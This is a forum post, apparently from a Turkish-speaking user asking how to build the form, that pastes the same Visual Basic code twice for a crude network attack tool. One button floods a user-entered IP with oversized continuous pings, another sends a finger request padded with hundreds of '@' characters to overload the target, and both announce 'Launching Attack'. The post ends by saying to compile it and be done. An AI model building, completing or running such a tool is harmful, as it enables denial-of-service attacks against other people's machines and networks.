arkadaşlar kodları buldum ama frum a neler eklicem bir yardım etseniz
Private Sub cmdPing_Click() 'this tells it what to give the instructions to
MsgBox "Launching Attack", vbInformation, "Launching Attack" 'This is a little pop-up
Shell ("ping " & txtIP.Text & " -l 65500 -t") ' "shell tells it to open DOS then type this in automatically
lblstatus.Caption = "Pinging IP" 'Changes the Label caption
End Sub
Private Sub cmdFinger_Click()
MsgBox "Launching Attack", vbInformation, "Launching attack"
Shell ("finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@" & txtIP.Text)
lblstatus.Caption = "Finger IP"
End Sub
And thats about it, compile it and ur done.
Private Sub cmdPing_Click() 'this tells it what to give the instructions to
MsgBox "Launching Attack", vbInformation, "Launching Attack" 'This is a little pop-up
Shell ("ping " & txtIP.Text & " -l 65500 -t") ' "shell tells it to open DOS then type this in automatically
lblstatus.Caption = "Pinging IP" 'Changes the Label caption
End Sub
Private Sub cmdFinger_Click()
MsgBox "Launching Attack", vbInformation, "Launching attack"
Shell ("finger @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@" & txtIP.Text)
lblstatus.Caption = "Finger IP"
End Sub
And thats about it, compile it and ur done.